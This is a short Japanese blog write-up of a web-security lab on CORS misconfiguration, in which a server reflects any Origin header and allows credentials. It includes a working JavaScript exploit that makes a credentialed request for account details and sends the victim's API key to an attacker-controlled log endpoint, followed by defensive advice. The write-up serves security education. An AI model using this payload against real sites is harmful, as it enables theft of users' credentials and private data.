Shikata Ga Nai

Private? There is no such things.

LAB: 基本的なオリジン反映によるCORS脆弱性の解説

Hello there, ('ω')ノ

🎯 目的

この記事では、CORS(クロスオリジンリソース共有)設定の基本的な反映のミスにより生じるセキュリティ脆弱性について解説します。具体的には、任意のオリジンをそのまま受け入れる設定によって、機密情報が盗まれる可能性があることを学びます。


🔍 脆弱なCORS設定の特徴

  • サーバーがリクエストの Origin ヘッダーをそのまま Access-Control-Allow-Origin ヘッダーに反映する
  • Access-Control-Allow-Credentials: true により、セッションクッキーを含んだリクエストが許可される

🧪 攻撃手順(実験)

💡 想定されるケース

攻撃者は自身のドメインから、被害者がログインしている脆弱なWebサイトに対して、JavaScriptを使ってクロスオリジンのリクエストを送ります。CORS設定が甘ければ、被害者の機密情報(APIキーなど)を取得できます。

🔨 JavaScriptの攻撃コード例:

<script>
    var req = new XMLHttpRequest();
    req.onload = function() {
        // 取得した情報を攻撃者側に送信
        location = '/log?key=' + encodeURIComponent(this.responseText);
    };
    req.open('GET', 'https://YOUR-LAB-ID.web-security-academy.net/accountDetails', true);
    req.withCredentials = true;
    req.send();
</script>
  • req.withCredentials = true; → クッキー付きのリクエスト
  • this.responseText → APIキーなどの機密データ

🛡️ 対策

以下の設定ミスを避けましょう:

  • Access-Control-Allow-Origin にリクエストの Origin をそのまま反映しない
  • 許可された信頼できるオリジンのみを静的に定義
  • Access-Control-Allow-Credentials を使用する場合は、絶対に *Allow-Origin に使わない
  • 可能であれば、ホワイトリストによるオリジンチェックを行う

✅ まとめ

  • CORS設定は機密データへのアクセス制御の鍵
  • オリジンを無条件で信頼する設定は、クロスオリジン情報漏洩のリスクを生む
  • ペネトレーションテストでは、CORSレスポンスヘッダーの確認悪用シナリオの構築が極めて重要です

Best regards, (^^ゞ